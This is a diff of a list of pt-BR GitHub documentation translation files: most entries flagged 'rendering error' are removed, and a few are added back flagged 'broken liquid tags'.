-translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md,rendering error
-translations/pt-BR/content/actions/creating-actions/dockerfile-support-for-github-actions.md,rendering error
-translations/pt-BR/content/actions/creating-actions/index.md,rendering error
-translations/pt-BR/content/actions/creating-actions/metadata-syntax-for-github-actions.md,rendering error
-translations/pt-BR/content/actions/creating-actions/releasing-and-maintaining-actions.md,rendering error
-translations/pt-BR/content/actions/creating-actions/setting-exit-codes-for-actions.md,rendering error
-translations/pt-BR/content/actions/deployment/about-deployments/about-continuous-deployment.md,rendering error
-translations/pt-BR/content/actions/deployment/about-deployments/deploying-with-github-actions.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error
-translations/pt-BR/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md,rendering error
-translations/pt-BR/content/actions/deployment/index.md,rendering error
-translations/pt-BR/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md,rendering error
-translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error
-translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error
-translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error
-translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error
-translations/pt-BR/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md,rendering error
-translations/pt-BR/content/actions/guides.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error
+translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags
+translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags
+translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,broken liquid tags
 translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489
-translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/index.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md,rendering error
+translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,broken liquid tags
+translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags
 translations/pt-BR/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,Listed in localization-support#489
-translations/pt-BR/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error
-translations/pt-BR/content/actions/index.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/contexts.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/environment-variables.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/essential-features-of-github-actions.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/events-that-trigger-workflows.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/expressions.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/finding-and-customizing-actions.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/index.md,rendering error
 translations/pt-BR/content/actions/learn-github-actions/managing-complex-workflows.md,Listed in localization-support#489
-translations/pt-BR/content/actions/learn-github-actions/managing-complex-workflows.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/using-starter-workflows.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error
-translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/index.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md,rendering error
-translations/pt-BR/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/canceling-a-workflow.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/deleting-a-workflow-run.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/index.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/manually-running-a-workflow.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error
-translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/index.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md,rendering error
-translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/index.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error
-translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/about-packaging-with-github-actions.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/index.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/publishing-docker-images.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-maven.md,rendering error
-translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error
-translations/pt-BR/content/actions/quickstart.md,rendering error
-translations/pt-BR/content/actions/security-guides/automatic-token-authentication.md,rendering error
-translations/pt-BR/content/actions/security-guides/encrypted-secrets.md,rendering error
-translations/pt-BR/content/actions/security-guides/index.md,rendering error
-translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error
-translations/pt-BR/content/actions/using-containerized-services/about-service-containers.md,rendering error
-translations/pt-BR/content/actions/using-containerized-services/creating-postgresql-service-containers.md,rendering error
-translations/pt-BR/content/actions/using-containerized-services/creating-redis-service-containers.md,rendering error
-translations/pt-BR/content/actions/using-containerized-services/index.md,rendering error
-translations/pt-BR/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,rendering error
-translations/pt-BR/content/actions/using-github-hosted-runners/index.md,rendering error
-translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error
-translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error
-translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/advanced-security/index.md,rendering error
-translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,rendering error
-translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error
-translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,rendering error
-translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md,rendering error
-translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md,rendering error
-translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md,rendering error
-translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error
-translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-tls.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/index.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error
-translations/pt-BR/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,rendering error
-translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error
-translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error
-translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-clustering/about-clustering.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-clustering/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error
-translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error
-translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error
-translations/pt-BR/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,rendering error
-translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/index.md,rendering error
-translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,rendering error
-translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,rendering error
-translations/pt-BR/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md,rendering error
-translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error
-translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error
-translations/pt-BR/content/admin/github-actions/index.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,rendering error
-translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error
-translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error
-translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md,rendering error
-translations/pt-BR/content/admin/guides.md,rendering error
-translations/pt-BR/content/admin/index.md,rendering error
-translations/pt-BR/content/admin/installation/index.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,rendering error
-translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,rendering error
-translations/pt-BR/content/admin/overview/about-enterprise-accounts.md,rendering error
-translations/pt-BR/content/admin/overview/about-github-ae.md,rendering error
-translations/pt-BR/content/admin/overview/about-the-github-enterprise-api.md,rendering error
-translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md,rendering error
-translations/pt-BR/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,rendering error
-translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,rendering error
-translations/pt-BR/content/admin/user-management/index.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/index.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/index.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error
-translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error
-translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md,rendering error
-translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md,rendering error
-translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md,rendering error
-translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/index.md,rendering error
-translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md,rendering error
-translations/pt-BR/content/authentication/connecting-to-github-with-ssh/about-ssh.md,rendering error
-translations/pt-BR/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,rendering error
-translations/pt-BR/content/authentication/connecting-to-github-with-ssh/index.md,rendering error
-translations/pt-BR/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md,rendering error
-translations/pt-BR/content/authentication/index.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/index.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error
-translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error
-translations/pt-BR/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error
-translations/pt-BR/content/authentication/managing-commit-signature-verification/index.md,rendering error
-translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error
